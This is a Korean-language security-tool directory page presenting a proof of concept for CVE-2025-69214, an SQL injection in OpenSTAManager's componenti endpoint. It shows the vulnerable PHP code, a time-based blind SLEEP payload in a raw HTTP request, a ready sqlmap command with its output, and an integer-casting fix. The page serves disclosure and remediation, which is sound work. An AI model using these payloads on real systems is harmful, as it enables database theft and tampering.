Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-69214 — CVE-2025-69214에 대한 개념 증명: OpenSTAManager의 ajax_select.php componenti 엔드포인트에서의 SQL 인젝션. 취약 코드 분석, SQLMap을 이용한 시간 기반 블라인드 익스플로잇, 그리고 수정 지침을 포함합니다. | Kitploit
도구/GitHubGitHub/lukasz-rybak/cve-2025-69214
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationDatabase Security
GitHublukasz-rybak/cve-2025-69214

CVE-2025-69214

CVE-2025-69214에 대한 개념 증명: OpenSTAManager의 ajax_select.php componenti 엔드포인트에서의 SQL 인젝션. 취약 코드 분석, SQLMap을 이용한 시간 기반 블라인드 익스플로잇, 그리고 수정 지침을 포함합니다.

저장소 보기
35개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-69214: OpenSTAManager의 ajax_select.php (componenti 엔드포인트)에서 발견된 SQL 인젝션

개요

필드세부 정보
CVE IDCVE-2025-69214
심각도높음
자문자문 보기
발견자Lukasz Rybak

영향을 받는 제품

  • devcode-it/openstamanager (버전: <= 2.9.8)

CWE 분류

  • CWE-89: SQL 명령에 사용된 특수 요소의 부적절한 중립화 ('SQL 인젝션')

세부 정보

요약

ajax_select.php 엔드포인트에서 componenti 작업을 처리할 때 SQL 인젝션 취약점이 존재합니다. 인증된 공격자는 options[matricola] 매개변수를 통해 악성 SQL 코드를 주입할 수 있습니다.

개념 증명

취약한 코드

파일: modules/impianti/ajax/select.php:122-124

root@kitploit:~
case 'componenti':
    $impianti = $superselect['matricola'];
    if (!empty($impianti)) {
        $where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')';
    }

데이터 흐름

  1. 소스: $_GET['options']['matricola'] → $superselect['matricola']
  2. 취약점: 사용자 입력이 무결화 없이 IN() 절에 직접 연결됨
  3. 싱크: AJAX 프레임워크를 통해 쿼리 실행

익스플로잇

수동 PoC (시간 기반 블라인드 SQL 인젝션):

root@kitploit:~
GET /ajax_select.php?op=componenti&options[matricola]=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND (1 HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=<valid-session>
이미지

SQLMap 익스플로잇:

root@kitploit:~
sqlmap -u 'http://localhost:8081/ajax_select.php?op=componenti&options[matricola]=1*' \
  --cookie="PHPSESSID=<session>" \
  --dbms=MySQL \
  --technique=T \
  --level=3 \
  --risk=3

SQLMap 출력:

root@kitploit:~
[INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
Parameter: #1* (URI)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: options[matricola]=1) AND (SELECT 7438 FROM (SELECT(SLEEP(5)))grko)-- SvRI
back-end DBMS: MySQL >= 5.0.12
이미지

영향

  • 데이터 유출: 시간 기반 블라인드 SQL 인젝션을 통해 전체 데이터베이스 추출 가능
  • 인증 우회: 민감한 구성 요소 및 장비 데이터에 접근 가능
  • 데이터 변조: 잠재적인 레코드 무단 수정 가능

수정 방법

SQL에서 사용하기 전에 값을 정수로 캐스팅하세요.

이전:

root@kitploit:~
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
    $where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')';
}

이후:

root@kitploit:~
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
    $ids = array_map('intval', explode(',', $impianti));
    $where[] = '`my_componenti`.`id_impianto` IN ('.implode(',', $ids).')';
}

크레딧

발견자: Łukasz Rybak

참조

  • https://github.com/devcode-it/openstamanager/security/advisories/GHSA-qjv8-63xq-gq8m
  • https://nvd.nist.gov/vuln/detail/CVE-2025-69214
  • https://github.com/advisories/GHSA-qjv8-63xq-gq8m

면책 조항

이 CVE는 조정된 취약점 공개 관행에 따라 책임감 있게 공개되었습니다. 여기에 제공된 정보는 교육 및 방어 목적으로만 제공됩니다.

도구 다운로드